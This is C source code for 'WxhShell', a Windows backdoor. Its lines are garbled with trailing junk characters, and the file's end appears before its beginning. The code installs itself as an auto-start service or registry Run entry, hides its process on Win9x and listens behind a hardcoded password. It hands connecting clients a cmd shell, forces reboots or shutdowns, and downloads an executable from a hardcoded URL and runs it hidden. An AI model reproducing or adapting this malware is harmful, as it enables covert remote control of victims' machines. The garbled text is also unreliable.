    if(Boot(SHUTDOWN)) k&q;JyUi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kT66;Y[  
    else { B =T'5&  
    closesocket(wsh); >`mVY=H i  
    ExitThread(0); L>&t|T2  
    } D~fl JR  
    break; x0D*U?A  
    } sPQQ"|wU  
  // 获取shell [{,T.;'<j  
  case 's': { Apag{Z]^B  
    CmdShell(wsh); \?ZB]*Fu  
    closesocket(wsh); sA/D]W.P  
    ExitThread(0); "]x'PI 4J  
    break; Y%aCMP9j~9  
  } l^-];|Y  
  // 退出 ~i{(<.he  
  case 'x': { >d*@_ kJM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !bx;Ta.  
    CloseIt(wsh); )Y0!~# `  
    break; .x.]`b(  
    } &|ex`nwc0  
  // 离开 rgv?gaQ>  
  case 'q': { l -mfFN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w"|L:8  
    closesocket(wsh); 1..+F0U  
    WSACleanup(); a=1@*ID  
    exit(1); 8.=BaNU  
    break; nFe<w  
        } q=m'^ ,gPS  
  } oj<gD  
  } $am$ EU?s  
t!X. |`h  
  // 提示信息 wqs? 828x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hqx-~hQO  
} mzKiO_g}  
  } hJ? O],4J  
[`[|l  
  return; ^_W#+>&--  
} aEWWP]  
a :`E0}C  
// shell模块句柄 8z`G,qh  
int CmdShell(SOCKET sock) 4G0m\[Du  
{ nYSiS}?S .  
STARTUPINFO si; |O+H[;TB6  
ZeroMemory(&si,sizeof(si)); 7#a-u<HF"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .bg~>T+<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \fd v]f  
PROCESS_INFORMATION ProcessInfo; EwT"uL*V;  
char cmdline[]="cmd"; D|p9qe5%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fu ,}1Mq#  
  return 0; , WYPU  
} $G+@_'  
EjR9JUu  
// 自身启动模式 (D&3G;0tK  
int StartFromService(void) 0<@KG8@hI;  
{ gzT*-  
typedef struct <w9JRpFY  
{ ] vsz, 0  
  DWORD ExitStatus; &64h ;P<  
  DWORD PebBaseAddress; [ /b2=>  
  DWORD AffinityMask; j0aXyLNX  
  DWORD BasePriority; k5e;fA/w  
  ULONG UniqueProcessId; h"Q8b}$^)  
  ULONG InheritedFromUniqueProcessId; wv1iSfW  
}   PROCESS_BASIC_INFORMATION; 5m 4P\y^a  
q!7ANib6O  
PROCNTQSIP NtQueryInformationProcess; ]|a g  
,PW'#U:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i)#dWFDTv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i$#;Kpb`^  
O+]ZyHnB  
  HANDLE             hProcess; R| , g<  
  PROCESS_BASIC_INFORMATION pbi; KYI/  
TDjm2R~9FS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "m8^zg hL  
  if(NULL == hInst ) return 0;  %OCb:s  
~jk|4`I?T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tw/dD +  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9:|{6_Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #q$HQ&k  
()?(I?II  
  if (!NtQueryInformationProcess) return 0; O _ gGf  
v{N`.~,^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pE0Sw}A:9  
  if(!hProcess) return 0; 8/cX]J  
5Ln,{vsv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M FMs[+2_o  
BwpqNQN  
  CloseHandle(hProcess); &wawr2)}  
Q"d^_z ]K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &PHTpkaam  
if(hProcess==NULL) return 0; ;xj?z\=Pg  
ltSU fI  
HMODULE hMod; ,w4(kcg%iQ  
char procName[255]; : *#-%0  
unsigned long cbNeeded; o5PO =AN  
 9Q.Yl&A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vn8aFA  
my1@41 H  
  CloseHandle(hProcess); )dw'BNz5hT  
*:7rdzn  
if(strstr(procName,"services")) return 1; // 以服务启动 v!-pSa)3  
q YQl,w  
  return 0; // 注册表启动 ^uc=f2=>,  
} Ge@{_  
`/+>a8  
// 主模块 h,N?Ab'S  
int StartWxhshell(LPSTR lpCmdLine) i1d'nxk6  
{ EME|k{W  
  SOCKET wsl; ]s'as9s9  
BOOL val=TRUE; Hvi49c]]  
  int port=0; 2l'6.  
  struct sockaddr_in door; jB2[(  
g:@#@1rB6  
  if(wscfg.ws_autoins) Install(); O0v}43J [  
F/{!tx  
port=atoi(lpCmdLine); b8t7u  
qe#tj/aZ  
if(port<=0) port=wscfg.ws_port; 0[(8   
1CZgb   
  WSADATA data; <'oQ \eB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PC8Q"O  
F)QDJE0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]_gU#,8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q3!bky\  
  door.sin_family = AF_INET; lUZ+YD4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /,yd+wcW#  
  door.sin_port = htons(port); !e<^? r4  
 kDioD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bAqA1y3=  
closesocket(wsl); .L~AL|2_  
return 1; 2%m BK  
} 2/^3WY1U  
DyQy^G'%l  
  if(listen(wsl,2) == INVALID_SOCKET) { C,r;VyW6BI  
closesocket(wsl); <%eG:n,#  
return 1; U8?mc  
} (L&d!$,Dv  
  Wxhshell(wsl); [z{1*Xc  
  WSACleanup(); g! |kp?  
9Y9GwL]T  
return 0; :5<UkN)R(  
#;yZ  
} #;e:A8IQ  
N4!O.POP  
// 以NT服务方式启动 a;+9mDXx:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8nV+e~-w  
{ "!^"[mX4  
DWORD   status = 0; CA~-rv  
  DWORD   specificError = 0xfffffff; q<1 ~ vA9  
73;GW4,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _Fl9>C"u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xx:"4l.w.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L="}E rmK  
  serviceStatus.dwWin32ExitCode     = 0; >y 3=|  
  serviceStatus.dwServiceSpecificExitCode = 0; U5de@Y  
  serviceStatus.dwCheckPoint       = 0; h2R::/2.  
  serviceStatus.dwWaitHint       = 0; #\m<Sz5Gp#  
onzxx4bax  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f+!(k)GWd  
  if (hServiceStatusHandle==0) return; k9!{IScq  
F JyT+  
status = GetLastError(); q_58;Bv  
  if (status!=NO_ERROR) U Cjld  
{ n:!_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I efn$  
    serviceStatus.dwCheckPoint       = 0; e\L8oOk#r  
    serviceStatus.dwWaitHint       = 0; YOO+R{4(  
    serviceStatus.dwWin32ExitCode     = status; ?e 4/p  
    serviceStatus.dwServiceSpecificExitCode = specificError; }|=|s f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rx|pOz,:  
    return; 4V`G,W4^J  
  } 5.GR1kl6  
'H;*W|:-]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; evmeqQG=  
  serviceStatus.dwCheckPoint       = 0; Avb\{)s+  
  serviceStatus.dwWaitHint       = 0; ' `Hr}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x.$FNt(9  
} <LiPEo.R  
#ABZ&Z  
// 处理NT服务事件,比如:启动、停止 tR$NRMZ.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i/Zd8+.n$  
{ 7%M_'P4 V  
switch(fdwControl) wibNQ`4k  
{ j3Y['xDv  
case SERVICE_CONTROL_STOP: [ 4)F f  
  serviceStatus.dwWin32ExitCode = 0; =I_'.b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cr;da)  
  serviceStatus.dwCheckPoint   = 0; tCt#%7J;a  
  serviceStatus.dwWaitHint     = 0; eaU  
  { p`qgrI`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R:qW;n%AF  
  } H Pz+Dm  
  return; (E1~H0^  
case SERVICE_CONTROL_PAUSE: |FRg\#kf%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [nq@mc~<  
  break; v]UwJz3<  
case SERVICE_CONTROL_CONTINUE: /)O"l@ }U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~k5W@`"W  
  break; JxU5 fe  
case SERVICE_CONTROL_INTERROGATE: Q7CsJzk~)  
  break; Q"#J6@  
}; }jPSUdo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X:{!n({r=  
} A04U /;  
q) KKvO  
// 标准应用程序主函数 !&E-}}<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W(p_.p"  
{ Ow,b^|  
8z\xrY  
// 获取操作系统版本 ]Hv[IodJ  
OsIsNt=GetOsVer(); #/37V2E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fsg*FH7J  
F!K>Kz  
  // 从命令行安装 Tid aa  
  if(strpbrk(lpCmdLine,"iI")) Install(); \i &<s;  
*LY8D<:zs  
  // 下载执行文件 U6s[`H3I{  
if(wscfg.ws_downexe) { f|(M.U-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xT2PyI_:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9>#6*/Oa7  
} K*dCc}:`  
@C aG9]  
if(!OsIsNt) { A3*!"3nU  
// 如果时win9x,隐藏进程并且设置为注册表启动  %;!.n{X  
HideProc(); qqU 64E  
StartWxhshell(lpCmdLine); hi[pVk~B)  
} 5!9zI+S|=`  
else Flb&B1  
  if(StartFromService()) xgtR6E^k  
  // 以服务方式启动 yB6?`3A:  
  StartServiceCtrlDispatcher(DispatchTable); 8q7b_Pq1U  
else HxI" 8A  
  // 普通方式启动 c:.eGH_f  
  StartWxhshell(lpCmdLine); Wc 'H  
Etm?'  
return 0; w4Z'K&d=  
} f%hEnZv  
poFg 1  
i@J ;G`  
 9gZ$   
=========================================== P!k{u^$L  
|ENh)M8}r  
fF kj+  
|wj?ed$ f  
8dhUBJ0_  
v &+R^iLE  
" i}?>g-(  
QmIBaMI#  
#include <stdio.h> Z?z.?a r  
#include <string.h> ? =+WRjF  
#include <windows.h> 9cm#56  
#include <winsock2.h> { (}By/_  
#include <winsvc.h> Z/J y'$x  
#include <urlmon.h> #$y?v%^  
T[A 69O]v  
#pragma comment (lib, "Ws2_32.lib") Ga'swP=hf  
#pragma comment (lib, "urlmon.lib") WX0tgXl  
?z u8)U  
#define MAX_USER   100 // 最大客户端连接数 jZ; =so  
#define BUF_SOCK   200 // sock buffer E4xa[iZ  
#define KEY_BUFF   255 // 输入 buffer w%sT{(Vd`C  
LreP4dRe  
#define REBOOT     0   // 重启 @=kSo -SX  
#define SHUTDOWN   1   // 关机 lw5`p,`  
n'w.; q  
#define DEF_PORT   5000 // 监听端口 PFK  '$  
n(]-y@X0_  
#define REG_LEN     16   // 注册表键长度 ;*&-C9b  
#define SVC_LEN     80   // NT服务名长度 Yz<1 wt7;  
@s^-.z  
// 从dll定义API RpYERAgT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cCc( fF*^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )\^-2[;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $, '*f?d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \uMLY<]P  
N}YkMJy  
// wxhshell配置信息 ~e.L.,4QZ8  
struct WSCFG { gPc=2  
  int ws_port;         // 监听端口 I++. ee  
  char ws_passstr[REG_LEN]; // 口令 Ti&z1_u  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8HdAFRw  
  char ws_regname[REG_LEN]; // 注册表键名 -|\ZrE_h  
  char ws_svcname[REG_LEN]; // 服务名 ^sg,\zD 'X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C"enpc_C/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W*w3 [_"sr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WMP,\=6k0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kO-(~];  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S 6,.FYH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /H+a0`/  
'A[dCc8O  
}; BFW&2  
4ss4kp_>  
// default Wxhshell configuration wH6aAV~1  
struct WSCFG wscfg={DEF_PORT, A. w:h;7  
    "xuhuanlingzhe", 5E_YEBO/  
    1, 2dgd~   
    "Wxhshell", 4nz35BLr  
    "Wxhshell", C2)2)  
            "WxhShell Service", YT8F#t8  
    "Wrsky Windows CmdShell Service", dnuu&Rv  
    "Please Input Your Password: ", ;ovP$ vl>  
  1, W+1^4::+  
  "http://www.wrsky.com/wxhshell.exe", uUw5l})%Fi  
  "Wxhshell.exe" & "B=/-(  
    }; Jpo (Wl  
D7qOZlX16  
// 消息定义模块 .XhrCi Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4I5Y,g{6+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ld-_,-n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IdxzE_@  
char *msg_ws_ext="\n\rExit."; W'TaBuCb  
char *msg_ws_end="\n\rQuit."; pcI uN  
char *msg_ws_boot="\n\rReboot..."; ]"1DGg \A  
char *msg_ws_poff="\n\rShutdown..."; 9 JK Ew  
char *msg_ws_down="\n\rSave to "; HLHz2-lI  
7})[lL`\s  
char *msg_ws_err="\n\rErr!"; cPc</[x[W  
char *msg_ws_ok="\n\rOK!"; ]]j;/TiG  
gbagi+8s`%  
char ExeFile[MAX_PATH]; dcWD(-  
int nUser = 0; jm r"D>  
HANDLE handles[MAX_USER]; Q.c\/&  
int OsIsNt; Mh 7DV  
 1ZB"EQ  
SERVICE_STATUS       serviceStatus; @gXx1hEg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b*Q&CL  
r-/`"j{O!  
// 函数声明 5.J.RE"M  
int Install(void); ]:/Q]n^  
int Uninstall(void); mUx+Y]Ep  
int DownloadFile(char *sURL, SOCKET wsh); 63x?MY6  
int Boot(int flag); t5IEQ2  
void HideProc(void); yJe>JK~)  
int GetOsVer(void); u08mqEa  
int Wxhshell(SOCKET wsl);  qA5r  
void TalkWithClient(void *cs); t.\dpBq  
int CmdShell(SOCKET sock); i<g-+Qs  
int StartFromService(void); %BB%pC  
int StartWxhshell(LPSTR lpCmdLine); ^D-/`d  
}f7j 8py  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |)/aGZ+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z,%$+)K  
2SR:FUV/  
// 数据结构和表定义 t#eTV@-  
SERVICE_TABLE_ENTRY DispatchTable[] = Hl |z</*+  
{ 3%=~) 7cF  
{wscfg.ws_svcname, NTServiceMain}, G'aDb/  
{NULL, NULL} tcog'nAz  
}; y Fq&8 x<X  
=[jXe  
// 自我安装 \:F_xq  
int Install(void) _``=cc  
{ ^@NU}S):yN  
  char svExeFile[MAX_PATH]; k2UVm$}u  
  HKEY key; F`]2O:[  
  strcpy(svExeFile,ExeFile); !brf(-sr)  
ZO$%[ftb  
// 如果是win9x系统,修改注册表设为自启动 jdJ>9O0A,  
if(!OsIsNt) { R]*K:~DM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w_u\sSQ`!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OJy#w{4  
  RegCloseKey(key); kX2rp?{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BsYa3d=}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YLn?.sV{[0  
  RegCloseKey(key); Z0r?| G0  
  return 0; i&GH/y  
    } Xh;#  
  } %sQ^.` 2  
} 3=]sLn0L  
else { "@,}p\  
ZO c)  
// 如果是NT以上系统,安装为系统服务 q;)JISf.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0v$~90)  
if (schSCManager!=0) K0Fh%Y4)QH  
{ s.NGA.]$  
  SC_HANDLE schService = CreateService WaR`Kp+>  
  ( %FIE\9  
  schSCManager, _b;{_g  
  wscfg.ws_svcname, y7Df_|Z  
  wscfg.ws_svcdisp, fkNbS  
  SERVICE_ALL_ACCESS, e'D&8z_;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I"7u2"@-8j  
  SERVICE_AUTO_START, bhlG,NTP  
  SERVICE_ERROR_NORMAL,  l"]}Ts#  
  svExeFile, P3 ^Y"Pv?  
  NULL, w}cPs{Vi"  
  NULL, j]/RC(;?  
  NULL, fMyti$1~  
  NULL, oIj#>1~c%  
  NULL N7R!C)!IL  
  ); F6 flIG&h  
  if (schService!=0) i5,kd~%O  
  { y>e.~5;  
  CloseServiceHandle(schService); _[ZO p ~  
  CloseServiceHandle(schSCManager); < F+l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C/6V9;U  
  strcat(svExeFile,wscfg.ws_svcname); 8X)Y^uGGZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9o:Lz5 o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x0w4)Ic5  
  RegCloseKey(key); j9+w#G]hV  
  return 0; 161xAig  
    } >]5P 3\AQV  
  } W#WVfr  
  CloseServiceHandle(schSCManager); Sa;qW3dt3E  
} tS8u  
} ?o#%Xs  
?zHPJLv|Y  
return 1; L<{i ,'M  
} ThbGQ"/  
zi*R`;_`,  
// 自我卸载 naznayy  
int Uninstall(void) .$)  
{ 9.B KI/  
  HKEY key; oc0G |  
A`o8'+`C  
if(!OsIsNt) { PGV/ h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qE3UO<FA  
  RegDeleteValue(key,wscfg.ws_regname); %m$Sp47  
  RegCloseKey(key); ?|B&M\}g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a8Nh=^Py  
  RegDeleteValue(key,wscfg.ws_regname); mmRJ9OhS  
  RegCloseKey(key); =k`Cr0aPF  
  return 0; h6`6tk  
  } UVIKQpA]A  
} uT7B#b7  
} gz#i.-  
else { q2:6QM&  
h Pa_VrH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I- >Ss},U  
if (schSCManager!=0) qfRH5)k  
{ 5 -RsnF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6h,(wo3Y  
  if (schService!=0) RMWHN:9  
  {   =`s!;  
  if(DeleteService(schService)!=0) { p hzKm9  
  CloseServiceHandle(schService); !Bq3Z?xA}  
  CloseServiceHandle(schSCManager); {w^+\]tC  
  return 0; dNL(G%Qj+"  
  } M>ruKHipFE  
  CloseServiceHandle(schService); @8rx`9  
  } x!58cS*  
  CloseServiceHandle(schSCManager); Y+u_IJ  
} } .y 1;.  
} .I0qGg  
Jk=I^%~  
return 1; <oA7'|Bu<  
} 1--C~IjJ+  
Ay w ;N  
// 从指定url下载文件 fbKkq.w  
int DownloadFile(char *sURL, SOCKET wsh) KP5C} ZK+s  
{ ?8Z0Gqt74  
  HRESULT hr; ,a]?S^:y]  
char seps[]= "/"; NDlF0f  
char *token; q ]e`9/U  
char *file; O% KsD[W;  
char myURL[MAX_PATH]; L4z ~B!uvF  
char myFILE[MAX_PATH]; ww $  
qPy1;maXP  
strcpy(myURL,sURL); 'yG4 LF  
  token=strtok(myURL,seps); o{q{!7DH@  
  while(token!=NULL) .ndCfdy~  
  { 22M1j5  
    file=token; aYS!xh206  
  token=strtok(NULL,seps); 2:7zG "$  
  } n+q!l&&  
"x*e gI  
GetCurrentDirectory(MAX_PATH,myFILE); PV\+P6aIb  
strcat(myFILE, "\\"); ]<rkxgMW>  
strcat(myFILE, file); oO|KEY(  
  send(wsh,myFILE,strlen(myFILE),0); 0C irfcs}Z  
send(wsh,"...",3,0); 6vNrBB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bITPQ7+  
  if(hr==S_OK) KZ ;k)O.Ov  
return 0; yiC^aY=-  
else +&( Mgbna  
return 1; qr4pR-Gdr  
^!ZC?h!rG  
} YS@ypzc/  
>TnTnFWX  
// 系统电源模块 Be=u&T:~  
int Boot(int flag) X"e5 Y!:M-  
{ VE {3}S  
  HANDLE hToken; EGzzHIZ`!  
  TOKEN_PRIVILEGES tkp; ( b~T]3Es  
6qoyiT%P&  
  if(OsIsNt) { [] `&vWZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _'>oXQJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ``Dq  
    tkp.PrivilegeCount = 1; s!&#c`=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9c#+qH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {kCw+eXn?  
if(flag==REBOOT) { p~^D\jR.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'H&2HXw&2  
  return 0; XJ` ]ga  
} o(LFh[  
else { %gyLCTw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {/(D$"j(S  
  return 0; 7- ] as$  
} bg&zo;Ck8T  
  } w2Jf^pR  
  else { ^*8G8'k;$  
if(flag==REBOOT) { 4C-jlm)V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hj B@o#S  
  return 0; ~&8^9E a  
} 4c$ zKqz  
else { f]|ysf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YoZFwRQU  
  return 0; S=<}:#;u0  
} 1#*a:F&re  
} M/ni6%x  
|_*O'#jx  
return 1;  TYmP)  
} %Yicg6:  
-pa )K"z  
// win9x进程隐藏模块 ?_$=l1vf  
void HideProc(void) y?m/*hh`  
{ m-*i>4;  
];a=Pn-:}G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {G}.b)9FG  
  if ( hKernel != NULL ) 0Lc9M-Lg  
  { Lz!,kwg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !?p%xj?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6c"0})p  
    FreeLibrary(hKernel); +5o8KYV  
  } =Z+nz^'b  
RIXMJ7e7  
return; RHq/JD-  
} Z!@~>i  
*-q"3 D`  
// 获取操作系统版本 0]=i}wL 8  
int GetOsVer(void) 8x8 uo  
{ V9( @Y  
  OSVERSIONINFO winfo; =aj/,Q]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X*39c b(b  
  GetVersionEx(&winfo); ng:9 l3 x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ph[#QHB  
  return 1; pUq1|)g  
  else [*HN"  
  return 0; 4.h=&jz&  
} 'wI"Bo6e  
ll6wpV0m  
// 客户端句柄模块 B}:(za&  
int Wxhshell(SOCKET wsl) O QT;zqup  
{ Fpa ;^F  
  SOCKET wsh; #u"k~La  
  struct sockaddr_in client; j>x-"9N  
  DWORD myID; T[uiPs /xD  
S<u-n8bv  
  while(nUser<MAX_USER) =p?WBZT|:  
{ 4EZ9hA9+  
  int nSize=sizeof(client); r77PQQD T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'u_t<F ]b  
  if(wsh==INVALID_SOCKET) return 1; Ikiib WQL+  
/.i.TQ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?-^m`  
if(handles[nUser]==0) bKQ"ax>6p  
  closesocket(wsh); 0 79'(%  
else H(2]7dRS%  
  nUser++; Xn,v]$M!  
  } \X&H;xnC5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6290ZNvr  
7#U^Dx\yh  
  return 0; mG`e3X6@-  
} T[4<R 5}  
)h|gwERj  
// 关闭 socket {]_r W/  
void CloseIt(SOCKET wsh) ./D$dbu3  
{ IlE_@gS8  
closesocket(wsh); UkHY[M7;  
nUser--; =gvBz| +  
ExitThread(0); r8&^>4  
} OD 3f.fT  
On@<J&%  
// 客户端请求句柄 _~tEw.fM5  
void TalkWithClient(void *cs) 0=q;@OIf  
{ * U$!I?  
CI :`<PZ\-  
  SOCKET wsh=(SOCKET)cs; t" 7yNs(I  
  char pwd[SVC_LEN]; ;VNMD 6H  
  char cmd[KEY_BUFF]; OhmQ,  
char chr[1]; 199]WHc  
int i,j; 'GoZqiYT  
Da:unVbU  
  while (nUser < MAX_USER) { Ck@J,~x1D  
mp?78_I)  
if(wscfg.ws_passstr) { ~7t$MF.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,4,V4 N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0}FOV`n  
  //ZeroMemory(pwd,KEY_BUFF); /43-;"%>  
      i=0; "+ >SJ~  
  while(i<SVC_LEN) { ~$f;U  
k`9)=&zX+  
  // 设置超时 `S.ZS}~!F  
  fd_set FdRead; )0e2ic/  
  struct timeval TimeOut; d]i(h~?_  
  FD_ZERO(&FdRead); RUUk f({(  
  FD_SET(wsh,&FdRead); O Xi@c;F  
  TimeOut.tv_sec=8; sf|ke9-3  
  TimeOut.tv_usec=0; "zY](P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e9Pk"HHl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~-t>z  
UMp/ \&0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A@D2+fS  
  pwd=chr[0]; 3 M10fI?  
  if(chr[0]==0xd || chr[0]==0xa) { 8kt5KnD2  
  pwd=0; Ev2HGU[  
  break; }%`~T>/  
  } )T66<UDK|  
  i++; ]I.n\2R]om  
    } d90Z,nex  
7GS V  
  // 如果是非法用户,关闭 socket G #T<`>T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B_l{<  
} m6yIR6H  
8W+gl=C~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JwRF(1_sM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eo!zW  
jWO/ xX  
while(1) { GK}'R=   
!W'Ui 9uX  
  ZeroMemory(cmd,KEY_BUFF); ~!d/8?!   
wpt='(  
      // 自动支持客户端 telnet标准   %?hsoj&k  
  j=0; m8JR@!t7  
  while(j<KEY_BUFF) { T y@=yA17  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,j ',x\  
  cmd[j]=chr[0]; ).HDru-2  
  if(chr[0]==0xa || chr[0]==0xd) { *tX{MSYW  
  cmd[j]=0; 9Sq%s&  
  break; 5P h X"7  
  } hv$m4,0WB  
  j++; f8<o8*`7  
    } {"H2 :-t<  
1?Aga,~k:a  
  // 下载文件 ph|ZG6:  
  if(strstr(cmd,"http://")) { Ei3zBS?J)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ia{c  
  if(DownloadFile(cmd,wsh)) vN OH&ja-s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*mKei  
  else >x@P|\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c<BO gNr  
  } zT* .jv  
  else { !lmWb-v%36  
qxJQPz  
    switch(cmd[0]) { 9H]Lpi^OH  
